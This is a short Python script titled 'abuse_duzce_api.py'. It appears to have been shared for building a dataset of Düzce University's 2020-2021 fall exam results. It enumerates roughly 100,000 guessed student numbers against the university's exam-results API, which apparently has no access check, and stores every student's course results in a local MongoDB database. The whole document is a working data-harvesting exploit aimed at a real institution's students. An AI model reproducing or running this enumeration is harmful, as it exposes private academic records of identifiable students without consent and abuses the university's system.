Düzce Üniversitesi 2020-2021 Güz Dönemi sınav sonuçlarından veri seti oluşturmak

abuse_duzce_api.py

from pymongo import MongoClient
from requests import get
from time import sleep

# local mongodb collection for dumping data
col = MongoClient("mongodb://192.168.1.224:27017")["duzce"]["results-82"]

resultsURL = "https://obs.duzce.edu.tr/api/api/ogrenci/sinavsonuclari"

# Get result per student
# student numbers range is estimated, I am not sure what is the real range of numbers
for i in range(100000, 200000):
    # wait for api cooldown(school's servers are shit)
    sleep(0.5)
    # request exam result of student by term 82(2020-2021 Güz Dönemi)
    res = get(resultsURL, params={"obkNo": i, "donemNo": 82})
    # skip student if there is no result exists
    if res.status_code != 200 or len(res.json()) == 0:
        print("no result found for student: {}".format(i))
        continue
    # upsert every result separately
    data = res.json()
    for j in data:
        j["obkNo"] = i
        col.update_one({"obkNo": i, "dersNo": j["dersNo"]}, {"$set": j}, upsert=True)

    print("{} result(s) inserted for student: {}".format(len(data), i))